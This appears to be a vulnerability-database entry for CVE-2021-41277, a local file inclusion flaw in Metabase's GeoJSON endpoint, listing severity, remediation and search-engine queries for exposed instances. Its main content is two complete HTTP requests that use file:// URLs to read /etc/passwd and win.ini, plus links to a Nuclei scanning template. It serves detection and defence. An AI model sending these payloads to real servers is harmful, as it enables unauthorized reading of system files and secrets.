| Title | Metabase - Local File Inclusion |
|---|---|
| Author | 0x_Akoko,DhiyaneshDK |
| Severity | High |
| Impact | The vulnerability can result in unauthorized access to sensitive files or execution of arbitrary code on the affected system. |
| Remediation | This issue is fixed in 0.40.5 and .40.5 and higher. If you are unable to upgrade immediately, you can mitigate this by including rules in your reverse proxy or load balancer or WAF to provide a validation filter before the application. |
| CVSS Score | 7.5 |
| EPSS Score | 0.94408 |
| CVE ID | CVE-2021-41277 |
| CWE ID | CWE-22,CWE-200 |
| Shodan Query | http.title:"Metabase"http.title:"metabase" |
| Fofa Query | app="Metabase"title="metabase"app="metabase" |
| Tags | cve2021 cve metabase lfi kev vkev vuln |
Metabase is an open source data analytics platform. In affected versions a local file inclusion security issue has been discovered with the custom GeoJSON map (admin->settings->maps->custom maps->add a map) support and potential local file inclusion (including environment variables). URLs were not validated prior to being loaded.
GET /api/geojson?url=file:///etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.9 Mobile/15E148 Safari/604.1
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /api/geojson?url=file:///c://windows/win.ini HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-41277.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-41277.pcap
N/AN/A